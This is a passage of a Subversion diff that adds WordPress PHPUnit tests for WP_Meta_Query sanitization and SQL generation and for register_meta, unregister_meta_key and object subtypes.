+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_or_lowercase() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'or',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_invalid_relation() {
+		$expected = array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'FOO',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_single_query_which_is_a_nested_query() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			)
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_nested_queries() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo3',
+					'value' => 'bar3',
+				),
+				array(
+					'key' => 'foo4',
+					'value' => 'bar4',
+				),
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'OR',
+			array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+			array(
+				array(
+					'key' => 'foo3',
+					'value' => 'bar3',
+				),
+				array(
+					'key' => 'foo4',
+					'value' => 'bar4',
+				),
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	/**
+	 * Invalid $type will fail to get a table from _get_meta_table()
+	 */
+	public function test_get_sql_invalid_type() {
+		$query = new WP_Meta_Query();
+		$this->assertFalse( $query->get_sql( 'foo', 'foo', 'foo' ) );
+	}
+
+	/**
+	 * @ticket 22096
+	 */
+	public function test_empty_value_sql() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query();
+
+		$the_complex_query['meta_query'] = array(
+			array( 'key' => 'my_first_key', 'value' => 'my_amazing_value' ),
+			array( 'key' => 'my_second_key', 'compare' => 'NOT EXISTS' ),
+			array( 'key' => 'my_third_key', 'value' => array( ), 'compare' => 'IN' ),
+		);
+
+		$query->parse_query_vars( $the_complex_query );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertEquals( 3, substr_count( $sql['join'], 'JOIN' ) );
+	}
+
+	/**
+	 * @ticket 22967
+	 */
+	public function test_null_value_sql() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc', 'value' => null, 'compare' => '=' )
+		) );
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertEquals( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value = ''" ) );
+	}
+
+	/**
+	 * "key only queries" are queries that don't need to match a value, so
+	 * they can be grouped together into a single clause without JOINs
+	 */
+	public function test_get_sql_key_only_queries() {
+		global $wpdb;
+
+		$query1 = new WP_Meta_Query( array(
+			'relation' => 'OR',
+
+			// Empty 'compare'
+			array(
+				'key' => 'foo',
+			),
+
+			// Non-empty 'compare'
+			array(
+				'key' => 'bar',
+				'compare' => '<',
+			),
+
+			// NOT EXISTS
+			array(
+				'key' => 'baz',
+				'compare' => 'NOT EXISTS',
+			),
+
+			// Has a value
+			array(
+				'key' => 'barry',
+				'value' => 'foo',
+			),
+
+			// Has no key
+			array(
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query1->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// 'foo' and 'bar' should be queried against the non-aliased table
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'foo'" ) );
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'bar'" ) );
+
+		// NOT EXISTS compare queries are not key-only so should not be non-aliased
+		$this->assertSame( 0, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'baz'" ) );
+
+		// 'AND' queries don't have key-only queries
+		$query2 = new WP_Meta_Query( array(
+			'relation' => 'AND',
+
+			// Empty 'compare'
+			array(
+				'key' => 'foo',
+			),
+
+			// Non-empty 'compare'
+			array(
+				'key' => 'bar',
+				'compare' => '<',
+			),
+		) );
+
+		$sql = $query2->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// Only 'foo' should be queried against the non-aliased table
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'foo'" ) );
+		$this->assertSame( 0, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'bar'" ) );
+	}
+
+	/**
+	 * Key-only and regular queries should have the key trimmed
+	 */
+	public function test_get_sql_trim_key() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => '  foo  ',
+			),
+			array(
+				'key' => '  bar  ',
+				'value' => 'value',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "meta_key = 'foo'" ) );
+		$this->assertSame( 1, substr_count( $sql['where'], "meta_key = 'bar'" ) );
+	}
+
+	public function test_convert_null_value_to_empty_string() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => null,
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value = ''" ) );
+	}
+
+	public function test_get_sql_convert_lowercase_compare_to_uppercase() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+				'compare' => 'regExp',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "REGEXP" ) );
+	}
+
+	public function test_get_sql_empty_meta_compare_with_array_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => array( 'bar', 'baz' ),
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value IN" ) );
+	}
+
+	public function test_get_sql_empty_meta_compare_with_non_array_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value =" ) );
+	}
+
+	public function test_get_sql_invalid_meta_compare() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+				'compare' => 'INVALID COMPARE',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value =" ) );
+	}
+
+	/**
+	 * This is the clause that ensures that empty arrays are not valid queries.
+	 */
+	public function test_get_sql_null_value_and_empty_key_should_not_have_table_join() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// There should be no JOIN against an aliased table.
+		$this->assertSame( 0, substr_count( $sql['join'], "AS mt" ) );
+	}
+
+	public function test_get_sql_compare_array_comma_separated_values() {
+		global $wpdb;
+
+		// Single value.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar')" ) );
+
+		// Multiple values, no spaces.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar,baz',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz')" ) );
+
+		// Multiple values, spaces.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar,baz,   barry',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz','barry')" ) );
+	}
+
+	public function test_get_sql_compare_array() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => array( 'bar', 'baz' ),
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz')" ) );
+	}
+
+	/**
+	 * Non-array values are trimmed. @todo Why?
+	 */
+	public function test_get_sql_trim_string_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => '  bar  ',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_value = 'bar'" ) );
+	}
+
+	public function test_not_exists() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'exclude',
+				'compare' => 'NOT EXISTS'
+			),
+			array(
+				'key' => 'exclude',
+				'compare' => '!=',
+				'value' => '1'
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+		$this->assertNotContains( "{$wpdb->postmeta}.meta_key = 'exclude'\nOR", $sql['where'] );
+		$this->assertContains( "{$wpdb->postmeta}.post_id IS NULL", $sql['where'] );
+	}
+
+	public function test_empty_compare() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'exclude',
+				'compare' => ''
+			),
+			array(
+				'key' => 'exclude',
+				'compare' => '!=',
+				'value' => '1'
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// Use regex because we don't care about the whitespace before OR.
+		$this->assertRegExp( "/{$wpdb->postmeta}\.meta_key = \'exclude\'\s+OR/", $sql['where'] );
+		$this->assertNotContains( "{$wpdb->postmeta}.post_id IS NULL", $sql['where'] );
+	}
+
+	/**
+	 * @ticket 32592
+	 */
+	public function test_has_or_relation_should_return_false() {
+		$q = new WP_Meta_Query( array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo1',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$this->assertFalse( $q->has_or_relation() );
+	}
+
+	/**
+	 * @ticket 32592
+	 */
+	public function test_has_or_relation_should_return_true_for_top_level_or() {
+		$q = new WP_Meta_Query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo1',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$this->assertTrue( $q->has_or_relation() );
+	}
+
+	/**
+	 * @ticket 32592
+	 */
+	public function test_has_or_relation_should_return_true_for_nested_or() {
+		$q = new WP_Meta_Query( array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'relation' => 'OR',
+				array(
+					'key' => 'foo1',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$this->assertTrue( $q->has_or_relation() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta/registerMeta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/registerMeta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/registerMeta.php	(revision 56912)
@@ -0,0 +1,505 @@
+<?php
+/**
+ * @group meta
+ */
+class Tests_Meta_Register_Meta extends WP_UnitTestCase {
+
+	protected static $post_id;
+	protected static $term_id;
+	protected static $comment_id;
+	protected static $user_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id    = $factory->post->create( array( 'post_type' => 'page' ) );
+		self::$term_id    = $factory->term->create( array( 'taxonomy' => 'category' ) );
+		self::$comment_id = $factory->comment->create();
+		self::$user_id    = $factory->user->create();
+	}
+
+	public static function wpTearDownAfterClass() {
+		wp_delete_post( self::$post_id, true );
+		wp_delete_term( self::$term_id, 'category' );
+		wp_delete_comment( self::$comment_id, true );
+		self::delete_user( self::$user_id );
+	}
+
+	public function _old_sanitize_meta_cb( $meta_value, $meta_key, $meta_type ) {
+		return $meta_key . ' old sanitized';
+	}
+
+	public function _new_sanitize_meta_cb( $meta_value, $meta_key, $object_type ) {
+		return $meta_key . ' new sanitized';
+	}
+
+	public function _old_auth_meta_cb( $allowed, $meta_key, $post_id, $user_id, $cap, $caps ) {
+		return $allowed;
+	}
+
+	public function _new_auth_meta_cb( $allowed, $meta_key, $post_id, $user_id, $cap, $caps ) {
+		return $allowed;
+	}
+
+	public function test_register_meta_back_compat_with_auth_callback_and_no_sanitize_callback_has_old_style_auth_filter() {
+		register_meta( 'post', 'flight_number', null, array( $this, '_old_auth_meta_cb' ) );
+		$has_filter = has_filter( 'auth_post_meta_flight_number', array( $this, '_old_auth_meta_cb' ) );
+		remove_filter( 'auth_post_meta_flight_number', array( $this, '_old_auth_meta_cb' ) );
+
+		// The filter should have been added with a priority of 10.
+		$this->assertEquals( 10, $has_filter );
+	}
+
+	public function test_register_meta_back_compat_with_sanitize_callback_and_no_auth_callback_has_old_style_sanitize_filter() {
+		register_meta( 'post', 'flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+		$has_filter = has_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+		remove_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+
+		$this->assertEquals( 10, $has_filter );
+	}
+
+	public function test_register_meta_back_compat_with_auth_and_sanitize_callback_has_old_style_filters() {
+		register_meta( 'post', 'flight_number', array( $this, '_old_sanitize_meta_cb' ), array( $this, '_old_auth_meta_cb' ) );
+		$has_filters = array();
+		$has_filters['auth'] = has_filter( 'auth_post_meta_flight_number', array( $this, '_old_auth_meta_cb' ) );
+		$has_filters['sanitize'] = has_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+		remove_filter( 'auth_post_meta_flight_number', array( $this, '_old_auth_meta_cb' ) );
+		remove_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+
+		$this->assertEquals( array( 'auth' => 10, 'sanitize' => 10 ), $has_filters );
+	}
+
+	public function test_register_meta_with_post_object_type_returns_true() {
+		$result = register_meta( 'post', 'flight_number', array() );
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_register_meta_with_post_object_type_populates_wp_meta_keys() {
+		global $wp_meta_keys;
+
+		register_meta( 'post', 'flight_number', array() );
+		$actual = $wp_meta_keys;
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$expected = array(
+			'post' => array(
+				'' => array(
+					'flight_number' => array(
+						'type'              => 'string',
+						'description'       => '',
+						'single'            => false,
+						'sanitize_callback' => null,
+						'auth_callback'     => '__return_true',
+						'show_in_rest'      => false,
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	public function test_register_meta_with_term_object_type_populates_wp_meta_keys() {
+		global $wp_meta_keys;
+		register_meta( 'term', 'category_icon', array() );
+		$actual = $wp_meta_keys;
+		unregister_meta_key( 'term', 'category_icon' );
+
+		$expected = array(
+			'term' => array(
+				'' => array(
+					'category_icon' => array(
+						'type'              => 'string',
+						'description'       => '',
+						'single'            => false,
+						'sanitize_callback' => null,
+						'auth_callback'     => '__return_true',
+						'show_in_rest'      => false,
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	public function test_register_meta_with_deprecated_sanitize_callback_does_not_populate_wp_meta_keys() {
+		global $wp_meta_keys;
+
+		register_meta( 'post', 'flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+		$actual = $wp_meta_keys;
+		remove_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb') );
+		remove_filter( 'auth_post_meta_flight_number', '__return_true');
+
+		$this->assertEquals( array(), $actual );
+	}
+
+	public function test_register_meta_with_deprecated_sanitize_callback_param_returns_false() {
+		$actual = register_meta( 'post', 'flight_number', array( $this, '_old_sanitize_meta_cb' ) );
+
+		remove_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb') );
+		remove_filter( 'auth_post_meta_flight_number', '__return_true');
+
+		$this->assertFalse( $actual );
+	}
+
+	public function test_register_meta_with_deprecated_sanitize_callback_parameter_passes_through_filter() {
+		register_meta( 'post', 'old_sanitized_key', array( $this, '_old_sanitize_meta_cb' ) );
+		$meta = sanitize_meta( 'old_sanitized_key', 'unsanitized', 'post', 'post' );
+
+		remove_filter( 'sanitize_post_meta_flight_number', array( $this, '_old_sanitize_meta_cb') );
+		remove_filter( 'auth_post_meta_flight_number', '__return_true');
+
+		$this->assertEquals( 'old_sanitized_key old sanitized', $meta );
+	}
+
+	public function test_register_meta_with_current_sanitize_callback_populates_wp_meta_keys() {
+		global $wp_meta_keys;
+		register_meta( 'post', 'flight_number', array( 'sanitize_callback' => array( $this, '_new_sanitize_meta_cb' ) ) );
+		$actual = $wp_meta_keys;
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$expected = array(
+			'post' => array(
+				'' => array(
+					'flight_number' => array(
+						'type'              => 'string',
+						'description'       => '',
+						'single'            => false,
+						'sanitize_callback' => array( $this, '_new_sanitize_meta_cb' ),
+						'auth_callback'     => '__return_true',
+						'show_in_rest'      => false,
+					),
+				),
+			),
+		);
+		$this->assertEquals( $actual, $expected );
+	}
+
+	public function test_register_meta_with_current_sanitize_callback_returns_true() {
+		$result = register_meta( 'post', 'flight_number', array( 'sanitize_callback' => array( $this, '_new_sanitize_meta_cb' ) ) );
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_register_meta_with_new_sanitize_callback_parameter() {
+		register_meta( 'post', 'new_sanitized_key', array( 'sanitize_callback' => array( $this, '_new_sanitize_meta_cb' ) ) );
+		$meta = sanitize_meta( 'new_sanitized_key', 'unsanitized', 'post' );
+
+		unregister_meta_key( 'post', 'new_sanitized_key' );
+
+		$this->assertEquals( 'new_sanitized_key new sanitized', $meta );
+	}
+
+	public function test_register_meta_unregistered_meta_key_removes_sanitize_filter() {
+		register_meta( 'post', 'new_sanitized_key', array( 'sanitize_callback' => array( $this, '_new_sanitize_meta_cb' ) ) );
+		unregister_meta_key( 'post', 'new_sanitized_key' );
+
+		$has_filter = has_filter( 'sanitize_post_meta_new_sanitized_key', array( $this, '_new_sanitize_meta_cb' ) );
+
+		$this->assertFalse( $has_filter );
+	}
+
+	public function test_register_meta_unregistered_meta_key_removes_auth_filter() {
+		register_meta( 'post', 'new_auth_key', array( 'auth_callback' => array( $this, '_new_auth_meta_cb' ) ) );
+		unregister_meta_key( 'post', 'new_auth_key' );
+
+		$has_filter = has_filter( 'auth_post_meta_new_auth_key', array( $this, '_new_auth_meta_cb' ) );
+
+		$this->assertFalse( $has_filter );
+	}
+
+	public function test_unregister_meta_key_clears_key_from_wp_meta_keys() {
+		global $wp_meta_keys;
+		register_meta( 'post', 'registered_key', array() );
+		unregister_meta_key( 'post', 'registered_key' );
+
+		$this->assertEquals( array(), $wp_meta_keys );
+	}
+
+	public function test_unregister_meta_key_with_invalid_key_returns_false() {
+		$this->assertFalse( unregister_meta_key( 'post', 'not_a_registered_key' ) );
+	}
+
+	public function test_get_registered_meta_keys() {
+		register_meta( 'post', 'registered_key1', array() );
+		register_meta( 'post', 'registered_key2', array() );
+
+		$meta_keys = get_registered_meta_keys( 'post' );
+
+		unregister_meta_key( 'post', 'registered_key1' );
+		unregister_meta_key( 'post', 'registered_key2' );
+
+		$this->assertArrayHasKey( 'registered_key1', $meta_keys );
+		$this->assertArrayHasKey( 'registered_key2', $meta_keys );
+	}
+
+	public function test_get_registered_meta_keys_with_invalid_type_is_empty() {
+		register_meta( 'post', 'registered_key1', array() );
+		register_meta( 'post', 'registered_key2', array() );
+
+		$meta_keys = get_registered_meta_keys( 'invalid-type' );
+
+		unregister_meta_key( 'post', 'registered_key1' );
+		unregister_meta_key( 'post', 'registered_key2' );
+
+		$this->assertEmpty( $meta_keys );
+	}
+
+	public function test_get_registered_meta_keys_description_arg() {
+		register_meta( 'post', 'registered_key1', array( 'description' => 'I\'m just a field, take a good look at me' ) );
+
+		$meta_keys = get_registered_meta_keys( 'post' );
+
+		unregister_meta_key( 'post', 'registered_key1' );
+
+		$this->assertEquals( 'I\'m just a field, take a good look at me', $meta_keys['registered_key1']['description'] );
+	}
+
+	public function test_get_registered_meta_keys_invalid_arg() {
+		register_meta( 'post', 'registered_key1', array( 'invalid_arg' => 'invalid' ) );
+
+		$meta_keys = get_registered_meta_keys( 'post' );
+
+		unregister_meta_key( 'post', 'registered_key1' );
+
+		$this->assertArrayNotHasKey( 'invalid_arg', $meta_keys['registered_key1'] );
+	}
+
+	public function test_get_registered_metadata() {
+		register_meta( 'post', 'flight_number', array() );
+		add_post_meta( self::$post_id, 'flight_number', 'Oceanic 815' );
+
+		$meta = get_registered_metadata( 'post', self::$post_id );
+
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertEquals( 'Oceanic 815', $meta['flight_number'][0] );
+	}
+
+	public function test_get_registered_metadata_by_key() {
+		register_meta( 'post', 'flight_number', array() );
+		add_post_meta( self::$post_id, 'flight_number', 'Oceanic 815' );
+
+		$meta = get_registered_metadata( 'post', self::$post_id, 'flight_number' );
+
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertEquals( 'Oceanic 815', $meta[0] );
+	}
+
+	public function test_get_registered_metadata_by_key_single() {
+		register_meta( 'post', 'flight_number', array( 'single' => true ) );
+		add_post_meta( self::$post_id, 'flight_number', 'Oceanic 815' );
+
+		$meta = get_registered_metadata( 'post', self::$post_id, 'flight_number' );
+
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertEquals( 'Oceanic 815', $meta );
+	}
+
+	public function test_get_registered_metadata_by_invalid_key() {
+		register_meta( 'post', 'flight_number', array() );
+		add_post_meta( self::$post_id, 'flight_number', 'Oceanic 815' );
+
+		$meta = get_registered_metadata( 'post', self::$post_id, 'flight_pilot' );
+
+		unregister_meta_key( 'post', 'flight_number' );
+
+		$this->assertFalse( $meta );
+	}
+
+	public function test_get_registered_metadata_invalid_object_type_returns_empty_array() {
+		$meta = get_registered_metadata( 'invalid-type', self::$post_id );
+
+		$this->assertEmpty( $meta );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_register_meta_with_subtype_populates_wp_meta_keys( $type, $subtype ) {
+		global $wp_meta_keys;
+
+		register_meta( $type, 'flight_number', array( 'object_subtype' => $subtype ) );
+
+		$expected = array(
+			$type => array(
+				$subtype => array(
+					'flight_number' => array(
+						'type'              => 'string',
+						'description'       => '',
+						'single'            => false,
+						'sanitize_callback' => null,
+						'auth_callback'     => '__return_true',
+						'show_in_rest'      => false,
+					),
+				),
+			),
+		);
+
+		$actual = $wp_meta_keys;
+
+		// Reset global so subsequent data tests do not get polluted.
+		$wp_meta_keys = array();
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_unregister_meta_with_subtype_unpopulates_wp_meta_keys( $type, $subtype ) {
+		global $wp_meta_keys;
+
+		register_meta( $type, 'flight_number', array( 'object_subtype' => $subtype ) );
+		unregister_meta_key( $type, 'flight_number', $subtype );
+
+		$actual = $wp_meta_keys;
+
+		// Reset global so subsequent data tests do not get polluted.
+		$wp_meta_keys = array();
+
+		$this->assertEmpty( $actual );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_unregister_meta_without_subtype_keeps_subtype_meta_key( $type, $subtype ) {
+		global $wp_meta_keys;
+
+		register_meta( $type, 'flight_number', array( 'object_subtype' => $subtype ) );
+
+		// Unregister meta key without subtype.
+		unregister_meta_key( $type, 'flight_number' );
+
+		$expected = array(
+			$type => array(
+				$subtype => array(
+					'flight_number' => array(
+						'type'              => 'string',
+						'description'       => '',
+						'single'            => false,
+						'sanitize_callback' => null,
+						'auth_callback'     => '__return_true',
+						'show_in_rest'      => false,
+					),
+				),
+			),
+		);
+
+		$actual = $wp_meta_keys;
+
+		// Reset global so subsequent data tests do not get polluted.
+		$wp_meta_keys = array();
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_get_registered_meta_keys_with_subtype( $type, $subtype ) {
+		register_meta( $type, 'registered_key1', array( 'object_subtype' => $subtype ) );
+		register_meta( $type, 'registered_key2', array( 'object_subtype' => $subtype ) );
+
+		$meta_keys = get_registered_meta_keys( $type, $subtype );
+
+		$this->assertArrayHasKey( 'registered_key1', $meta_keys );
+		$this->assertArrayHasKey( 'registered_key2', $meta_keys );
+		$this->assertEmpty( get_registered_meta_keys( $type ) );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_get_registered_metadata_with_subtype( $type, $subtype ) {
+		register_meta( $type, 'registered_key1', array() );
+
+		// This will override the above registration for objects of $subtype.
+		register_meta( $type, 'registered_key1', array(
+			'object_subtype' => $subtype,
+			'single'         => true,
+		) );
+
+		// For testing with $single => false.
+		register_meta( $type, 'registered_key2', array(
+			'object_subtype' => $subtype,
+		) );
+
+		// Register another meta key for a different subtype.
+		register_meta( $type, 'registered_key3', array(
+			'object_subtype' => 'other_subtype',
+		) );
+
+		$object_property_name = $type . '_id';
+		$object_id = self::$$object_property_name;
+
+		add_metadata( $type, $object_id, 'registered_key1', 'value1' );
+		add_metadata( $type, $object_id, 'registered_key2', 'value2' );
+		add_metadata( $type, $object_id, 'registered_key3', 'value3' );
+
+		$meta = get_registered_metadata( $type, $object_id );
+
+		$key1 = get_registered_metadata( $type, $object_id, 'registered_key1' );
+		$key2 = get_registered_metadata( $type, $object_id, 'registered_key2' );
+		$key3 = get_registered_metadata( $type, $object_id, 'registered_key3' );
+
+		$this->assertSame( array( 'registered_key1', 'registered_key2' ), array_keys( $meta ) );
+		$this->assertSame( 'value1', $meta['registered_key1'][0] );
+		$this->assertSame( 'value2', $meta['registered_key2'][0] );
+
+		$this->assertSame( 'value1', $key1 );
+		$this->assertSame( array( 'value2' ), $key2 );
+		$this->assertFalse( $key3 );
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_get_types_and_subtypes
+	 */
+	public function test_get_object_subtype( $type, $expected_subtype ) {
+		$object_property_name = $type . '_id';
+		$object_id = self::$$object_property_name;
+
+		$this->assertSame( $expected_subtype, get_object_subtype( $type, $object_id ) );
+	}
+
+	/**
+	 * @ticket 38323
+	 */
+	public function test_get_object_subtype_custom() {
+		add_filter( 'get_object_subtype_customtype', array( $this, 'filter_get_object_subtype_for_customtype' ), 10, 2 );
+
+		$subtype_for_3 = get_object_subtype( 'customtype', 3 );
+		$subtype_for_4 = get_object_subtype( 'customtype', 4 );
+
+		$this->assertSame( 'odd', $subtype_for_3 );
+		$this->assertSame( 'even', $subtype_for_4 );
+	}
+
+	public function filter_get_object_subtype_for_customtype( $subtype, $object_id ) {
+		if ( $object_id % 2 === 1 ) {
+			return 'odd';
+		}
+
+		return 'even';
+	}
+
+	public function data_get_types_and_subtypes() {
+		return array(
+			array( 'post', 'page' ),
+			array( 'term', 'category' ),
+			array( 'comment', 'comment' ),
+			array( 'user', 'user' ),
+		);
+	}
+}
